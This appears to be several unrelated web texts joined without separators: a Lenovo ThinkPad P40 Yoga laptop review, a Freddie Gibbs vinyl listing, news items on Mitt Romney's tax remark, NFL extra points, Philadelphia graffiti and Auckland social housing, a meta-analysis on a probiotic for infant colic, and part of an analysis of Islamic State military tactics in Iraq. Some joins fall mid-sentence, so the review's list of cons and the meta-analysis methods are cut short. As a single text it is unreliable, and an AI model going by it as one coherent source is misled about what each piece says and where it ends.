Despite being a relatively thin 2-in-1 design, the P40 Yoga includes a wide variety of ports. About the only major omission is a standard Ethernet port, but the P40 Yoga isn’t the only 2-in-1 to sacrifice Ethernet to keep the chassis as thin as possible. The left side of the notebook includes the power jack, a Lenovo OneLink+ docking port, a USB 3.0 port, headset audio jack, memory card reader and the charging port for the included pen. The right side of the P40 Yoga features the power button, volume rocker switch, two USB 3.0 ports, a mini DisplayPort, full-size HDMI and a Kensignton lock slot.
As mentioned above, the Lenovo ThinkPad P40 Yoga comes bundled with an active stylus called the ThinkPad Pen Pro. This 4.5-inch long pen features 2,048 levels of pressure sensitivity and allows you to make detailed sketches and notes that look more realistic than what you get from a generic plastic stylus on a standard touchscreen. The ThinkPad Pen Pro weighs less than an ounce and includes a left and right click mouse button integrated into the body of the pen. Unfortunately, we found this pen to be a little too thin to use comfortably over extended periods of time.
The pre-installed WRITEit app does a commendable job recognizing a variety of handwriting types and translating those scribbles into text. While many 2-in-1 notebooks support pens, most lack the built-in storage and charging features found on the P40 Yoga. The built-in storage bay also doubles as a charging port for the stylus. Lenovo claims that the pen will charge in 20 seconds and last for 19 hours, but I repeatedly noticed inconsistent response from the pen after a little more than 10 hours of regular use. Still, the pen responded as normal immediately after a quick 20-second charge so it wasn’t much of an issue.
Screen and Speakers
The 14.1-inch IPS WQHD touchscreen display in our review unit of the ThinkPad P40 Yoga delivers exceptional resolution at 2560 x 1440 pixels with excellent color accuracy. Although we would have preferred to have a display with a matte surface, text looks sharp, images look incredibly detailed, and colors look vibrant without being oversaturated. The greater-than-HD resolution also means that you’ll have an easier time multitasking with multiple windows on the screen at once. We measured the maximum screen brightness in our review unit at just under 260 nits.
Like most IPS displays, the 14-inch screen inside the P40 Yoga delivers exceptionally wide viewing angles with minimal color distortion. Unfortunately, the glossy surface of the display panel is highly reflective and causes viewing problems at wider viewing angles under normal or bright light. If you’re working in absolute darkness (as our sample images show) then the mirror-like screen won’t cause much of a problem.
The bottom-facing stereo speakers deliver clear and adequately loud sound when the notebook rests on a desk or you’re holding the P40 Yoga in tablet mode. However, due to the placement of the speakers the audio sounds horribly muffled if you’re using the notebook as a “laptop” with the speakers pressed against your legs. Bottom line, get a pair of quality headphones or external speakers if you’re an audiophile. We suspect the average user won’t complain about the built-in speakers unless you’re using the P40 Yoga on your lap.
Keyboard and Touchpad
One area where Lenovo consistently excels is keyboard quality. The ThinkPad P40 Yoga is no exception thanks to the full-size keyboard with bright LED backlighting. Key travel is quite good with instantaneous feedback as the individual keys snap back into place after each press. We didn’t run into any major problems with typos or keyboard flex.
Once again, Lenovo includes both a standard touchpad and a classic red TrackPoint in the middle of the keyboard. The TrackPoint on the P40 Yoga features dedicated left, right and center buttons located above the touchpad. Those of you who still prefer to use a touchpad will likely use the included ClickPad with integrated left and right click functionality and multitouch gesture support. Our only complaint about the touchpad is that the integrated Clickpad buttons still struggle to differentiate between a right click and left click. So if you use the Clickpad exclusively you should expect the occasional problem as the P40 Yoga interprets a left click for a right click or a right click for a left click.
Performance
The ThinkPad P40 Yoga utilizes a Skylake-U series Intel Core i7 processor and this CPU delivers a good balance of reasonably high performance with low power consumption. Lenovo’s engineers had to find a processor with low thermal output since this 2-in-1 notebook also features the Nvidia Quadro M500M discrete graphics.
The ThinkPad P40 Yoga comes standard with the Intel vPro manageability and TPM encryption if your IT department requires those security features. It also has a swipe fingerprint reader for password-free biometric logins.
The 512 GB SSD in our review unit was reasonably quick during file transfers and the P40 Yoga proved to be quite “snappy” as we switched between apps and opened a variety of large 3D files stored on the SSD.
As you can see from the 3DMark benchmark results below, the ThinkPad P40 Yoga delivers superior graphics performance compared to other thin-and-light notebooks with integrated graphics, but Lenovo’s own ThinkPad P50 has more than twice the performance of the P40 Yoga when it comes to 3D graphics.
Lenovo ThinkPad P40 Yoga specifications as tested:
Windows 10 Professional
14.1-inch Glossy IPS WQHD (2560 x 1440) capacitive touchscreen with pen support
Intel Core i7-6600U (2.6 GHz base frequency, 3.4 GHz turbo frequency)
Nvidia Quadro M500M (2 GB DDR3)
16 GB DDR3L-1600 (max supported)
512 GB SSD
Dimensions: 13.30 x 9.3 x 0.78 inches
Weight with pen: 4.03 lbs. (1.83 kg), Power Adapter: 0.78 lbs. (353 g)
MSRP: $2,084 as tested ($1,484 starting price)
Benchmarks
wPrime processor comparison results (listed in seconds – lower scores mean better performance):
PCMark8 Home (Accelerated) measures overall system performance for general activities from web browsing and video streaming to typing documents and playing games (higher scores mean better performance):
PCMark8 Work (Accelerated) measures overall system performance for a variety of general and complex office productivity tasks (higher scores mean better performance):
3DMark11 measures overall graphics card performance for gaming (higher scores mean better performance):
3DMark Fire Strike is a newer DirectX 11 benchmark that measures overall graphics card performance for gaming (higher scores mean better performance):
CrystalDiskMark storage drive performance test:
Battery Life
The integrated battery inside the ThinkPad P40 Yoga provides adequate run time for a mobile workstation but falls short of what we’ve come to expect of standard 2-in-1 devices that run weaker integrated graphics. Futuremark’s Powermark battery benchmark shows that the P40 Yoga lasted just 3 hours and 28 minutes after a running a loop of tests to simulate a wide range of uses. Granted, this is essentially a “worst-case scenario” but the P40 Yoga still falls short of other notebooks.
In real world terms a fully-charged battery inside the P40 Yoga will run for 6 hours and 43 minutes of continuous web browsing over Wi-Fi with the screen set to roughly 70 percent brightness.
Powermark battery life test results listed in minutes (higher scores mean better battery life):
Conclusion
At the end of the day the Lenovo ThinkPad P40 Yoga is a very unique hybrid PC for a very specific type of user. If you’re someone who needs the dedicated graphics performance of a mobile workstation but also needs the flexibility of a 2-in-1 that you can convert into a tablet then this is absolutely the best choice on the market.
That said, we feel obligated to mention that there are numerous 2-in-1 notebooks that are thinner and lighter than the P40 Yoga and there are a wide range of mobile workstations that deliver noticeably superior graphics performance. Battery life was far from ideal but this is a hybrid device running dedicated graphics. The P40 Yoga is quite simply a compromise … but it’s arguably the best compromise working professionals will find in a device of this type.
Pros:
Excellent performance
Color-accurate display
Solid construction
Great keyboard
Cons:Freddie Gibbs – Shadow Of A Doubt (Rappcats Edition)
Rappcats exclusive – SOLD OUT. STANDARD 2/LP GATEFOLD EDITION AVAILABLE
White label, 2/LP edition of Freddie Gibbs Shadow of a Doubt. We’ve made 300, hand numbered copies. This Rappcats edition will not be repressed. More photos & audio: Freddie Gibbs – Shadow of a Doubt
Contains 20 tracks: album with bonus tracks. Cover photo: Ture Lillegraven. Design: Jeff Jank.
Shadow of a Doubt is the album Gibbs following Piñata, his collaboration with Madlib. He describes Shadow of a Doubt as the soundtrack to driving around Los Angeles at night – the dark side of a supposed glamorous life, one foot in the booth, one foot in the street. Pitchfork writes “his roots and aspirations have never been clearer” and praised Gibbs’ versatility. This album taps some of today’s top talent as guest MC’s and as producers with features from E-40, Gucci Mane, Black Thought, Tory Lanez, Manman Savage and Dana Williams, with production from Kaytranda, Boi-1Da, 808 Mafia. (ESGN #001)
ALSO SEE FREDDIE GIBBS & MADLIB – COCAINE PARTIES IN L.A.Republican presidential nominee Mitt Romney’s campaign was forced to quickly issue a clarification on Tuesday after their candidate admitted that President Barack Obama had not raised taxes during his first four years in office.
“I admit this, he has one thing he did not do in his first four years — he’s said he’s going to do in the next four years, which is to raise taxes,” Romney told a crowd in Ohio as a visibly uncomfortable vice presidential candidate Paul Ryan looked on.
“Paul Ryan looked like someone just punched him in the stomach,” PolitcusUSA’s Jason Easley noted. “The really priceless moment is happening behind Romney, as Paul Ryan realizes what Romney said, and tries his very best to maintain his smile. Ryan’s face transformed into a pained expression, as Romney accidentally let loose with a bit of truth.”
Within hours of the campaign event, Romney’s team was walking back the former governor’s statement.
“President Obama has raised taxes on millions of middle-class Americans during his first term in office,” spokesperson Amanda Henneberg said in a statement to ABC News. “Governor Romney was clearly communicating about an additional tax increase President Obama is proposing on American small businesses that will jeopardize over 700,000 jobs. Mitt Romney and Paul Ryan will stop the President’s tax increases, create 12 million new jobs, and turn our economy around.”
Earlier this year, a Washington Post fact check awarded the Romney campaign “Two Pinocchios” for claiming that the president “has already raised taxes on millions of Americans.”
Watch this video via Think Progress, broadcast Sept. 25, 2012.Getty Images
The new extra point rule had a small but noticeable impact on the preseason.
With the 2015 preseason now in the books, kickers went a cumulative 196-for-210 on the new longer extra points, meaning they made 93.3 percent of their kicks. That’s down significantly from recent numbers in the regular season: During the 2014 regular season, kickers made 99.3 percent of extra points, and NFL kickers have made at least 98 percent of extra points every season since 1994.
But kickers will probably do better in the regular season because the worst kickers in the preseason are going to get cut. Eagles kicker Kip Smith, for instance, missed a league-high three extra points, but he won’t be the Eagles’ kicker during the regular season.
The new rule changes extra points from the equivalent of a 20-yard field goal to a 33-yard field goal. For an NFL kicker, a 33-yard field goal is still an easy kick. So when the regular season starts, the vast majority of extra points will be successful. But the conversion rate just might fall below 98 percent for the first time in two decades.PHILADELPHIA (CBS) — Police are searching for the vandals responsible for spray-painting anti-police graffiti in West Philadelphia.
The phrase “Cop Live Don’t Matter” was spray-painted on a fence along Baltimore Avenue.
A second anti-police message was spray-painted on a nearby church that read “F*** COPS.”
A third piece of graffiti was spray-painted on the side of a building that read “PPD Killed Brandon Tate-Brown.”
Brandon Tate-Brown, 26, was shot and killed during an altercation with police in Northeast Philadelphia early Monday morning.
The incident took place at about 3 a.m. in the 6700 block of Frankford Avenue in the city’s Mayfair section.
According to police, two officers in a marked car pulled Tate-Brown over for a traffic violation. He was driving a white Dodge Charger with Florida plates. Authorities believe the Charger was a rental car.
Captain George Fuchs says evidence technicians found a handgun inside of his car.
“Totally visible, it’s the butt of a gun that’s actually in the console between the passenger seat, kind of stuck down the middle between the console and the passenger seat,” he said.
The officer reportedly asked Tate-Brown to exit the car, and when he did, a struggle ensued between him and the officers. Police say Tate-Brown forced his way back to his vehicle and attempted to get his gun when one of the officers fired his weapon, striking the suspect once in the head.
Police say the suspect’s gun was recovered inside the vehicle. It is a Taurus,.22 caliber, SAP, containing eight (8) live rounds and was reported stolen on July 8, 2013.
Investigators said Tate-Brown had four priors — two for Attempted Murder and related charges (including Violation of Uniforms Firearms Act), Theft and Receiving Stolen Property.
The investigation into Friday’s graffiti is ongoing.
You May Also Be Interested In:One of Auckland's leading property developers wants an end to tax breaks on investment housing, and has detailed the largest single philanthrophic plan yet to build social housing.
Photo: 123RF
Ted Manson has started construction of what he hopes will become 500 social rental homes in Auckland over the next seven years, in deals that also involve maintenance of the apartment buildings.
Mr Manson, who is the managing director of family-firm Mansons TCLM, unveiled the ambition of his charitable foundation at a housing summit in Auckland.
He said construction has just begun on apartment buildings in Liverpool Street in central Auckland, and in the west Auckland suburb of Glen Eden.
The Ted Manson Foundation is leasing 163 of the 240 apartments to social housing provider Compass, as state-funded social rentals.
The balance will be sold privately.
Photo: RNZ / Todd Niall
Mr Manson told more than 100 delegates at an Auckland housing summit that his family upbringing in a state house had been the foundation of his views on the need for stable, affordable homes.
"My parents lived in a very small one-bedroom apartment before the state house, to which I moved when I was five, so I'm doing this for philanthropic reasons because I've done very well in my life and been quite successful and realise that life's not fair for one," he told RNZ.
Mr Manson said the combination of funding, and his ability to build and maintain the apartments, made the venture unique.
"We're building very robust properties, to Homestar 6 standard, out of concrete and robust joiner so not cheap," he said.
"It's just about impossible for any normal person to do this unless they've got a lot of money and their own construction company."
His family firm Mansons TCLM has been behind prominent commercial buildings such as the new Spark headquarters.
Mr Manson blamed Auckland's soaring house prices on government policies such as tax breaks for residential property investors.
"Negative gearing has to be stopped. This will slow down property investors from buying so much, and therefore stop property prices increasing so much."
He called for an end to sales of existing homes to non-residents, and for publicly-owned land to be sold cheaply to community housing providers.Abstract CONTEXT: Lactobacillus reuteri DSM17938 has shown promise in managing colic, but conflicting study results have prevented a consensus on whether it is truly effective. OBJECTIVE: Through an individual participant data meta-analysis, we sought to definitively determine if L reuteri DSM17938 effectively reduces crying and/or fussing time in infants with colic and whether effects vary by feeding type. DATA SOURCES: We searched online databases (PubMed, Medline, Embase, the Cumulative Index to Nursing and Allied Health Literature, the Database of Abstracts of Reviews of Effects, and Cochrane), e-abstracts, and clinical trial registries. STUDY SELECTION: These were double-blind randomized controlled trials (published by June 2017) of L reuteri DSM17398 versus a placebo, delivered orally to infants with colic, with outcomes of infant crying and/or fussing duration and treatment success at 21 days. DATA EXTRACTION: We collected individual participant raw data from included studies modeled simultaneously in multilevel generalized linear mixed-effects regression models. RESULTS: Four double-blind trials involving 345 infants with colic (174 probiotic and 171 placebo) were included. The probiotic group averaged less crying and/or fussing time than the placebo group at all time points (day 21 adjusted mean difference in change from baseline [minutes] −25.4 [95% confidence interval (CI): −47.3 to −3.5]). The probiotic group was almost twice as likely as the placebo group to experience treatment success at all time points (day 21 adjusted incidence ratio 1.7 [95% CI: 1.4 to 2.2]). Intervention effects were dramatic in breastfed infants (number needed to treat for day 21 success 2.6 [95% CI: 2.0 to 3.6]) but were insignificant in formula-fed infants. LIMITATIONS: There were insufficient data to make conclusions for formula-fed infants with colic. CONCLUSIONS: L reuteri DSM17938 is effective and can be recommended for breastfed infants with colic. Its role in formula-fed infants with colic needs further research.
Infant colic, or excessive crying of unknown cause, is a burdensome condition affecting ∼1 in 5 infants <3 months old.1 It is most commonly defined by the modified Wessel’s criteria of crying and/or fussing >3 hours per day for ≥3 days per week.2 It is acutely associated with abusive head trauma,3,4 maternal depression,5,6 and premature cessation of breastfeeding.7 Although it is believed to be a self-resolving condition, there is emerging evidence of its long-term adverse effects on child behavior, sleep, and allergy outcomes.8,9 Despite years of research, its etiology remains elusive, and management options are limited.
In the past decade, numerous studies have demonstrated differences in gut microbiota between infants with and without colic.10–21 The role of probiotics in colic has come into the limelight, with a handful of randomized controlled trials indicating Lactobacillus reuteri DSM17938 to show promise in managing colic. However, results have been conflicting. Three studies of breastfed infants with colic demonstrated the probiotic to be effective.22–24 In contrast, 1 study of both breastfed and formula-fed infants with colic, the largest so far, concluded it was ineffective even for those who were breastfed.25
Several recent meta-analyses have indicated that Lactobacillus reuteri DSM17938 may be effective in breastfed infants with colic.26–30 However, such meta-analyses do not overcome the limitations and biases of individual trials because they generate a single best estimate through the pooling of treatment effect estimates. In contrast, an individual participant data meta-analysis (IPDMA) pools raw data from individual studies to create sufficient power to produce more reliable estimates of treatment effects, allow for subgroup analyses, and provide more definitive conclusions. Because probiotic effects and mechanisms of action are strain specific, this IPDMA is restricted to a single strain of the probiotic L reuteri DSM17398.
Our objectives in this IPDMA were to determine if L reuteri DSM17398 effectively reduces crying and/or fussing in infants with colic when compared with a placebo at 21 days postrandomization and whether its effects are modified by 4 specific characteristics specified a priori (eg, feeding type, proton pump inhibition exposure, hypoallergenic formula exposure for formula-fed infants, and maternal dairy elimination diets for breastfed infants).
Methods The details of our methodology are described in the published protocol.31 The IPDMA is registered through the international prospective register of systematic reviews (CRD42014013210) and approved by the Royal Children’s Hospital Human Research Ethics Committee (34081). Eligibility Criteria and Search Methods The IPDMA included registered double-blind randomized controlled trials of the probiotic L reuteri DSM17398 versus a placebo, delivered orally to infants with modified Wessel’s definition of infant colic as recorded by diaries, questionnaires, or parental interviews. We included studies published electronically by June 2017. Reported outcomes had to include infant crying and/or fussing duration. Studies in which researchers evaluated L reuteri ATCC 55730, the mother strain of L reuteri DSM 17938, were excluded. We identified studies through searching online databases using the following medical subject headings32 terms and keywords and limiting to all infants (birth to 23 months old): (1) medical subject headings terms included “colic or crying or irritable mood, and probiotics or L reuteri”; (2) keywords included “colic* or cry* or irritab*, and probiotic* or lactobacillus reut*”. We searched PubMed (1966 to December 2014), Medline (Ovid, 1946 to December 2014), Embase (Ovid, 1980 to December 2014), the Cumulative Index of Nursing and Allied Health Literature (1980 to December 2014), the Database of Abstracts of Reviews of Effects (1994 to December 2014), Cochrane Central Register of Controlled Trials (www.thecochranelibrary.com; through December 2014), e-abstracts from the Pediatric Academic Societies meetings, reference lists from articles, and Internet searches for non–peer-reviewed articles. PubMed was searched by using keywords only to retrieve e-pubs and items not indexed in Medline. The Medline search strategy was adapted for use in other databases. We also searched for ongoing trials through clinical trial registries (metaRegister of Controlled Trials; see http://www.isrctn.com/page/mrct, https://clinicaltrials.gov, http://www.who.int/ictrp/en/, and www.bioportfolio.com). We assessed the risk of bias for each study by using the criteria outlined by Cochrane. We also assessed for publication bias by identifying registered trials that were not published and through funnel plot analysis. All authors of eligible trials were contacted initially by e-mail then connected by teleconference, and they participated in a face-to-face meeting in June 2014 at the International Scientific Association for Probiotics and Prebiotics (ISAPP) Meeting in Aberdeen, United Kingdom. The project coordination and data management teams (V.S., M.C., F.D., and D.T.) corresponded regularly by e-mail and teleconference throughout 2014–2016. Through e-mail correspondence, statistician F.D. communicated with participating authors and collected data into a single, secure electronic database. Statisticians F.D. and D.T. independently inspected the data with respect to range, internal consistency, and missing items by checking them against published reports |
but it also tires troops and continually erodes overall force strength.[30]
A prime example of this restlessness is the tendency to mount tactical counter attacks soon after suffering a setback. This trend almost approaches doctrinal instinct and is one of the ways in which the Islamic State units resemble German forces during the final phase of the Second World War.[31] The Wehrmacht’s experience also shows how predictable counter-attacks can prove very costly in the face of growing enemy power and air superiority.[32]
Such immediate counter-attacks are also achieving fewer and fewer successes. After Mosul fell the battlefields in Iraq were rather empty, with porous gaps between forces, and the Islamic State had great mobility. ISF and Peshmerga forces had not yet learned to consolidate their hold on newly-won positions and they lacked anti-armored weapons and air support.[33]
The optimal conditions for counter-attacking warfare do not currently exist yet the Islamic State keeps trying. Both the ISF and the Peshmerga are now undertaking more methodical clearing operations with large numbers of units operating in close proximity and often with Western or Iraqi air support.[34] The Kurdish frontline between Mosul and Makhmour offers a good case study. In one week-long period (February 17–23, 2015) the Islamic State attempted to launch ten major raids along the 170-mile front: eight were repelled with the aid of Western airpower, and the remaining two were disrupted before they had even commenced when aircraft destroyed the attack forces in their assembly areas.[35] Though body counts should always be treated with caution, the Coalition’s claims to have inflicted over 150 casualties are probably not too wide of the mark.[36]
For many months the Islamic State’s leaders appear to have been stubbornly unwilling to accept that the military tide has turned against it in Iraq. Their commitment to a version of the “cult of the offensive”[37] led them to experiment with two even more costly versions of counter-attacking warfare. The first was the creation of tactical reserves made up of Suicide Vehicle-Borne Improvised Explosive Devices (SVBIEDs), often a quick reaction force made up of armored suicide truck bombs. This kind of shock force has been used on a range of battlefields—Udaim Dam, Hamrin oilfield, Tikrit[38]—but the largest such counter-attack came at Aski Mosul, south of Mosul Dam. On January 21, 2015, Peshmerga forces achieved a breakthrough across a 30-mile front that seemed to threaten the city of Mosul. In response, the Islamic State committed its operational reserve. In a scene that could have been lifted straight from the dystopian vision of the Mad Max movies, 14 armored fuel tanker SVBIEDs were directed against the Peshmerga breakthrough, all of which were destroyed by Western airpower and guided anti-tank missiles before they reached their targets.[39]
Another costly experiment was a theater-wide counter-offensive from the Islamic State on January 9-11, 2015. This was the largest of the Islamic State group’s coordinated operations, drawing together more than a dozen platoon-sized attack cells to mount assaults on the area held by Kurdistan Regional Government (KRG) forces between the Syrian border and Makhmour.[40] The centerpiece of the operation was a double envelopment of Kurdish forces that had pressed southwest of Erbil to the Tigris River, deep in territory held by the Islamic State since June 2014. The northern flank of the Kurdish salient suffered a series of platoon-sized river assaults across the Tigris and Zab rivers,[41] while the southern flank buckled under the weight of motorized blitzes up the Tigris, which overran Kurdish advance guard outposts that had reached the river.[42] The operation was impressive, achieving tactical surprise with dawn attacks under cover of river mist, and Kurdish forces remain stalled in the area at the time of writing. But the front opened up by the counter-offensive has sucked the Islamic State forces into a grueling battle in open areas where Kurdish forces and Western airpower continue to inflict heavy casualties.[43] This operational-level counter-offensive by the Islamic State in Iraq could well be their “Battle of the Bulge,” the doomed and costly German effort in late 1944 to regain the initiative in Western Europe.[44]
Operational Impact of Tactical Restlessness
The “cult of the offensive,” manifested in tactical restlessness, is probably driven by the fusion of individual and group motivations that make up the Islamic State in Iraq. Decentralized operational control gives significant leeway to local commanders, often at platoon level, to plan and undertake operations. Individual volunteers are clearly driven by their personal commitment to the armed jihad, by their desire to fight, and by a personal and small-unit quest for glory.[45] The defense of specific terrain, or even of Mosul itself, may not be important to the significant elements of the Islamic State who are not tied to particular Iraqi locales.
The willingness of Islamic State fighters to undertake offensive action can be an asset. The group creates a constant flow of well-publicized actions that bolster its propaganda efforts.[46] These images create the sense among sympathizers that the Islamic State is still on the offensive, whereas the reverse is true. Images of offensive warfare and particularly of suicide operations may be powerful recruitment tools, aiding the “refresh rate,” the rate at which it is able to bring in fresh troops.
At the tactical level, the active patrolling undertaken by Islamic State units has often slowed down their opponents. Like other proficient infantry forces, the Islamic State uses fighting patrols to dominate no-man’s-land, fix the enemy, and prevent enemy intelligence-gathering, and reconnoiter attack routes. The Islamic State desensitized enemy units with constant patrolling, with a sub-set of attacks being well-planned trench raids intended to overrun and massacre or capture small garrisons.[47]
The Islamic State got particularly effective at dominating the night and attacking under cover of morning mist or fog, greatly undermining the confidence of ISF and Peshmerga units.[48] This enabled the Islamic State to move through encirclements, allowing surrounded groups to be reinforced or to slip away, and letting the Islamic State reposition forces with great freedom.[49] This advantage has increasingly ebbed on more static battlefields where Western airpower and intelligence assets support the Kurds or, less frequently, the ISF. On a visit to the frontlines at Kirkuk in March 2015 one of the authors was told by Peshmerga infantrymen that the Islamic State’s technicals could only break cover for a few moments to undertake heavy machine-gun attacks on Peshmerga fighters before they would be inevitably destroyed by airpower in over-watch mode.[50]
In general, however, the costs of offensive actions are rising steeply for the Islamic State while the benefits are declining. The Peshmerga and ISF are planning and conducting offensive operations with little apparent disruption from the Islamic State’s active patrolling.[51] Such raids and other fruitless probing actions are wearing down the Islamic State, a factor that may contribute to a less effective defense of key ISF objectives like Mosul, Fallujah, and Tall Afar.
Attrition to Islamic State forces is undoubtedly mounting. On January 22, 2015, U.S. ambassador to Iraq Stuart Jones told Al Arabiya television that an estimated 6,000 fighters had been killed up to so far in the campaign. Breakdowns of the target types in the air campaign to that date[52] suggest that the figure may be quite likely.[53] Counting in the Islamic State losses to Kurdish forces, ISF and other causes, the Islamic State might have credibly lost many more than the U.S. estimate of 6,000 in the first 24 weeks since Mosul fell, and at the time of writing there has been another 12 weeks of increasingly effective strikes and battles against the Islamic State in Iraq. Though the Islamic State refresh rate is unknown, the Islamic State group may struggle to replace weekly losses of more than 250 fatalities[54] (plus commensurate numbers of other casualties and desertions), particularly leaders and skilled specialist manpower.
The Islamic State after Mosul
The battle of Tikrit shows that the coming battles of Mosul and Fallujah will be tough but winnable, if the right formula of planning, adequate resources, Western airpower, and intelligence support is employed.[55] Mosul is far bigger than Tikrit—around 144 square miles versus eight square miles respectively[56]—but as Tikrit showed, ISF forces do not need to attack the whole city at once. Additionally, Mosul is probably too big for the Islamic State to mount an exclusionary defense with their relatively small numbers. Coalition forces will be able to penetrate the city. Getting into the Islamic State-dominated areas is rarely the problem.
An under-acknowledged aspect of the Islamic State’s military campaign in Iraq is that it has been a theater-wide “economy of force” effort. The Islamic State forces have engaged in a blur of active defense to conceal the basic thinness of their troops on the ground. If sufficient forces are available to take over and consolidate recaptured areas, then a step-by-step approach can be used to reduce the lethality and effectiveness of the Islamic State delaying tactics.[57] The key limiting factor on the speed of advance against the Islamic State is the mustering of sufficient clearing forces, the development of effective plans to clear areas, and the use of sufficient numbers of effective units to fill up contested spaces and consolidate ownership.[58]
This finding suggests that the Islamic State might also be defeated in other Iraqi cities and even in Raqqa, Syria, which is close to potential military jump-off points in Turkey, if motivated, well-supported forces can be developed to liberate and consolidate those areas. There is nothing mystical about the Islamic State as a defensive force: it has succeeded almost entirely due to the absence of effective opposition, not because of its inherent strength.
What will follow the liberation of cities such as Mosul, Fallujah, and Tall Afar? One option is the Ramadi model—that Islamic State elements will remain in place to mount commuter insurgencies in areas where population centers and economic hubs can be attacked from rural redoubts. This kind of operational model could work along some stretches along the Syrian border, in parts of the Western Desert and Jazira, in Beyji, in the areas between Ramadi and Fallujah, and in areas adjacent to the Hamrin Mountains. It could even work in Mosul if the ISF and Kurds repeat the error of failing to adequately garrison the city, its desert belts, and satellite towns (most significantly Tall Afar).[59] A key lesson of the last six months is that retaking town centers is not a real measure of success: stabilizing the whole defensive zone, including the rural belts, is the real victory.
Rebuilding large, reliable, locally accepted occupation forces will not be easy given today’s sectarian and economic climate in Iraq. Counter-insurgency efforts will benefit from the resettlement of displaced persons but restoring governance and services for returnees will also be very difficult. The formula of leaving Sunni areas as depopulated garrisoned zones has been used in some places—Amerli, Jurf as-Sakr, and Jalula-Saadiyah[60]—but it is not a mid-term solution and will only create ghost towns that are favorable haunts for the Islamic State. Resettling populations will be a major challenge because the Islamic State has destroyed hundreds of police stations, administrative offices, bridges, and official dwellings.[61] This is part of a deliberate counter-stabilization effort that may hint at a slow-burn strategy to wear down the Iraqi nation with repeated sorties from insurgent-controlled redoubts in Iraq and Syria. The Islamic State has failed to hold terrain, but they may prove adept at preventing post-conflict resettlement and stabilization of affected areas.[62] This is where the Islamic State’ real strength lies and this is the real military challenge faced by Iraqis and their coalition partners.
Dr. Michael Knights is the Lafer Fellow at The Washington Institute for Near East Policy. He has worked in all of Iraq’s provinces, including periods embedded with the Iraqi security forces. Dr. Knights has been briefing U.S. officials on the resurgence of Al-Qa`ida in Iraq since 2012 and provided congressional testimony on the issue in December 2013. He has written on militancy in Iraq for the CTC Sentinel since 2008.
Alexandre Mello is the lead Iraq security analyst at Horizon Client Access, an advisory service working with the world’s leading energy companies.
[1] This research draws on case studies from Iraq’s northern provinces for a number of reasons. The authors have focused their six-month research program in this area due to the availability of good quality imagery and news reporting, particularly from behind Kurdish lines. This part of Iraq has witnessed the bulk of offensive actions against IS, both launched by the Kurds and by federal ISF and Hashd forces. Northern battles have also been well-supported by Western airpower and intelligence support, a factor that is increasingly relevant to the next stages of the conflict in Iraq and perhaps in Syria also. Detailed focus on southern battles like Jurf as-Sakr, Samarra and Dhuliyah might provide subtly different lessons.
[2] One tactical treatise notes of the German army in the Second World War: “Defensive operations were originally envisaged as holding situations pending resumption of the offensive and laying great stress on immediate and violent counter-attacks.” W.J.K Davies, German Army Handbook 1939-1945 (London: Purnell, 1973). p. 57. This method achieved many tactical successes but was also costly, especially when enemy troops became used to predictable counter-attacks and prepared for them. German tactics in the First World War also showed this, with Paddy Griffith describing them as “an over-rigid and excessively expensive system.” Commonwealth forces learned the “bite and hold” tactic—to seize ground cheaply in surprise attacks and then inflict heavy casualties on the German counter-attackers, a situation not unlike today’s Kurdish/Western tactics on their frontlines in northern Iraq. Paddy Griffith, Battle Tactics of the Western Front: The British Army’s Art of the Attack 1916-1918 (New Haven: Yale University Press, 1994), pp. 32, 194.
[3] See Richard Barret “The Islamic State,” The Soufan Group, October 28, 2014; Hisham al-Hashimi and the Telegraph interactive team, “Revealed: the Islamic State ‘cabinet’”, The Telegraph, July 9, 2014; Hisham al-Hashimi “Inside the leadership of Islamic State: how the new ‘caliphate’ is run,” The Telegraph, July 9, 2014.
[4] See Richard Barret “The Islamic State,” The Soufan Group, pp. 18-21, 24-34, “The hidden hand behind the Islamic State militants? Saddam Hussein’s.” Liz Sly, Washington Post, April 4, 2015; “Iraqi Officer Takes Dark Turn to al Qaeda,” Matt Bradley and Ali A. Nabhan, March 17, 2014. At least six of the Islamic State’s upper-tier leadership cadres in early 2014 are known to have been high-ranking officers in the Saddam-era Iraqi Army, the Republican Guard, Directorate General of Military Intelligence, and air force intelligence.
[5] The Islamic State draws from a range of sources for its manpower: foreign fighters, released prisoners who may it have resettled in their home areas, and existing insurgent group members who merged with Islamic State, some of whom have a very localized outlook and joined purely to gain advantages over local rivals. Michael Knights, personal interview, Islamic State expert Aymenn al-Tamimi, November 19, 2014.
[6] The authors’ assessment of the age distribution among Islamic State fighters is based on a year-long survey of imagery and video footage derived from Islamic State’s social media output.
[7] See “CIA says IS numbers underestimated,” Al-Jazeera English, September 12, 2014, and “How Many Fighters Does the Islamic State Really Have,” Daveed Gartenstein-Ross, War on the Rocks, February 9, 2015. The Islamic State has attempted to fast-forward its expansion from its insurgent core into a hybrid army by boosting recruitment and imposing conscription measures in areas such as its stronghold of Hawijah district in Kirkuk province.
[8] For example one of the Islamic State’s most high-profile mid-tier commanders, Abu Umar ash-Shishani (Tarkhan Tayumurazovich Batirashvili), a 29-year old former Georgian Army sergeant from Georgia’s Pankisi Gorge, who initially fought in Syria as leader of Jaysh al-Mujahirin wal-Ansar, a group of hardened foreign fighters from Chechnya and the Caucasus region before pledging allegiance to the Islamic State in May 2013 and went on to command the ‘northern sector’ in Syria, the provinces of Aleppo, Idlib, and Latakia. See “Treasury Designates Twelve Foreign Terrorist Fighter Facilitators,” U.S. Department of the Treasury, September 24, 2014.
[9] The Islamic State forces in Iraq initially drew on leaders whose military experience went back 30 years or more (in terms of Baathist officers and some jihadists with Afghan experience), whilst even some younger commanders have extensive experience in combat within Iraq or Syria over the last half decade. At the time of writing it has only been ten months since the fall of Mosul but casualties have been steady. It is uncertain that combat skills can be learned fast enough to make up for operational attrition in leaders and specialists.
[10]. These include over a hundred T-55, T-69, and T-72 main battle tanks, dozens of M113 APCs, M117 armored security vehicles, hundreds of Humvees, trucks, 4WD pickup trucks, and several towed artillery pieces. For a comprehensive list see “Vehicles and equipment captured and operated by the Islamic State inside Syria,” Oryx Blog, November 10, 2014, and “Vehicles and equipment captured, operated and destroyed by the Islamic State inside Iraq,” Oryx Blog, November 22, 2014.
[11] For an comprehensive, regularly updated list see “Operation Inherent Resolve: Targets Damaged/Destroyed,” CENTCOM, April 8, 2015.
[12] The authors’ review of Islamic State attacks since June 2014 suggest that a typical attack force comprises around 20–40 foot soldiers—historically the size of the average insurgent cell, including indirect-fire, IED-laying/triggering teams, RPG/ambush teams, etc.—plus three to five armored cars and unarmored utility vehicles, with a couple of heavy support weapons. When larger attacks are undertaken, it is usually coordinated, simultaneous but only loosely connected activity by these small war bands, not a larger unit action per se.
